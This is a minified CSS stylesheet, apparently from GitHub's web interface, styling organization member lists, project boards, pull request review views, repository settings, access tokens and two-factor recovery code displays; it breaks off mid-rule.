.spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options 